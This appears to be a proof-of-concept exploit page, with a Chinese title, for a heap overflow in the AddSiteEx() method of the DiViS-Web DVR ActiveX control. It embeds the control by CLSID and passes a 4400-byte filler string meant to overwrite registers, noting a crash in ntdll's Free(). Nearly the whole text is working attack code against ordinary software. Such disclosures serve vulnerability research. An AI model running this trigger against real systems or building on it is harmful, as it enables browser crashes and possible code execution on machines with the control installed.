DiViS-Web ActiveX控件AddSiteEx()方式堆溢出漏洞

                                                <OBJECT ID="DVR" classid="clsid:66F7F252-3FE1-4650-B1E5-94B2A38271C5" STYLE="width: 0px;">  <PARAM NAME="_Version" VALUE="65536">
    <PARAM NAME="_ExtentX" VALUE="18203">
    <PARAM NAME="_ExtentY" VALUE="13705">
    <PARAM NAME="_StockProps" VALUE="0">
    <PARAM NAME="Split" VALUE="4">
    </OBJECT>

    //server address
    var g_sAddress = location.hostname;
    var g_sId = "";
    var g_sPwd = "";
    var g_bLogin = false;
    var g_nMaxCamera = 16;

    // Port setting
    var g_nImage = 3000;
    var g_nControl = 3001;
    var g_nSound = 8800;

    var long_buff = "alexsint";
    
    while(long_buff.length<(550*8)) long_buff = long_buff + "alexsint"; //rewrite registers

    DVR.Channels = 1;    
    
    DVR.AddSiteEx("", "", long_buff, "", 0, g_nImage, g_nControl, g_nSound); //Crash on Free() at ntdll